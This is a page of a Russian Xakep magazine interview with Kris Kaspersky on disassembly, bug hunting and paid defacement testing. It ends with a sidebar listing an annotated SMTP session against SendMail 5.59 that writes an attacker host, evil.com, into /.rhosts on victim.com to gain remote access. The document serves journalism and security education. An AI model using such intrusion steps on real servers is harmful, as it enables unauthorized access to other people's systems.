Крис Касперски: разговоры о дефейсах

Xakep, номер #047, стр. 047-066-3


К: Меня смущает слово "только". Сфера применения дизассемблера одним этим не исчерпывается. С другой стороны, для анализа ПО еще невероятно полезен отладчик, hex-редактор, разные дамперы, компилятор Си++ для написания плагинов к IDA и утилит для того же тестирования. Еще калькулятор, стопка бумаги и карандаш... Словом, много что нужно!

Т: Как ты ищешь баги в этом ПО? Неужели хватает просто взгляда на листинг дизассемблера?

К: Конечно, в вырожденных случаях иногда хватает и одного взгляда - достаточно поискать что-то типа gets, это функция чтения строки, которая не проверяет аргументов. В противном случае, анализ требует огромных трудозатрат и буквально тысяч часов времени... Я как раз специализируюсь на анализе программ без исходных текстов - хоть это и на три порядка сложнее, чем анализ сорцов, но последним занята толпа народу, а дизасмят - буквально единицы. Так что тут много троп еще не протоптано.

Т: А без дизассемблера можно обойтись?

К: В принципе - да. Вот пример классической атаки, основанной на "дырке" в программе SendMail версии 5.59. Суть ее - в возможности указать в качестве получателя сообщения имя файла ".rhosts" (листинг смотри во врезке). Атаку можно считать завершенной. Остается подключиться к удаленному узлу и делать на нем все, что заблагорассудится.

Т: Опиши философию дефейса. Лучше большими буквами написать ХУ|/| или внизу "Все козлы!" вторым шрифтом?

К: Да какая разница, что писать? Я обычно вывожу единственную фразу Hello, Sailor! Или ту фразу, которую захочет увидеть у себя жертва (лицо, заказавшее тестирование сети).

Т: А какие обычно надписи заказываются?

К: Обычно типа "Если Вы видите эту надпись, сервер взломан". Дата. Подпись.

Один раз заказали "Администратор! От имени хакера, сломавшего наш сайт, сообщаю тебе, что ты уволен нахрен. Твой Директор".

Т: Что бы ты в первую очередь посоветовал нашим читателям, продвинутым дефейсерам, и тем, кто на пути к этому?

К: Устоять от соблазна совершения незаконных действий :).

# Соединяемся с узлом - жертвой по протоколу SMTP через 25 порт

telnet victim.com 25

# Указываем в качестве адреса получателя сообщения имя файла "/.rhosts"

rcpt to: /.rhosts

# Указываем адрес отправителя сообщения

mail from: kpnc@aport.ru

# Начинаем ввод текста сообщения

data

# Вводим произвольный текст (он будет проигнорирован)

Hello!

# Точка завершает ввод сообщения

.

# Новое сообщение

# Указываем в качестве адреса получателя имя файла "/.rhosts"

rcpt to: /.rhosts

# Указываем адрес отправителя сообщения

mail from: kpnc@aport.ru

# Начинаем ввод текста сообщения

data

# Вводим имя собственного хоста или любого другого хоста, к которому есть доступ

evil.com

# Точка завершает ввод сообщения

.

# Завершение операции и выход

quit

Назад на стр. 047-066-2  Содержание